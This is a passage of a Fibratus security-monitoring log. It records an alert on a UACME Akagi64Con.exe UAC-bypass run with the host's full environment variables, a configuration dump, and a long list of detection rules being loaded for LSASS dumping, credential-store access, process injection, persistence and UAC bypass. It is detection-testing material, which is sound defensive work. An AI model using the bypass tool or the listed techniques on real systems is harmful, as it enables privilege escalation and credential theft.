ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 61] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T15:38:25+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:38:25+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:38:25+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:38:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T15:38:33+01:00 level=info msg=bootstrapping with pid 18644. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:38:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ to=>[] content-type=>text/html enabled=>false use-template=>true port=>25] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-mem=>false enable-net=>true enable-image=>true enable-thread=>true enable-dns=>false enable-threadpool=>false stack-enrichment=>true enable-handle=>false enable-audit-api=>true flush-interval=>1s enable-fileio=>true min-buffers=>16 enable-vamap=>true buffer-size=>512 enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 formatter=>text level=>info log-stdout=>true max-backups=>15] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] amqp=>[ vhost=>/ url=>amqp://localhost:5672 routing-key=>fibratus exchange-type=>topic passive=>false durable=>false tls-insecure-skip-verify=>false delivery-mode=>transient timeout=>5s exchange=>fibratus enabled=>false] http=>[ timeout=>5s enable-gzip=>false method=>POST enabled=>false endpoints=>[] serializer=>json tls-insecure-skip-verify=>false] elasticsearch=>[ enabled=>false trace-log=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s gzip-compression=>false index-name=>fibratus sniff=>false healthcheck-interval=>10s bulk-workers=>1 healthcheck=>true flush-period=>1s timeout=>5s] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true excluded-files=>[] skip-registry=>false skip-files=>false excluded-procs=>[] enabled=>false skip-allocs=>false skip-mmaps=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:38:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:38:35+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:40:12+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:40:12+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:40:12+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:40:16+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:40:16+01:00 level=info msg=loading rule from 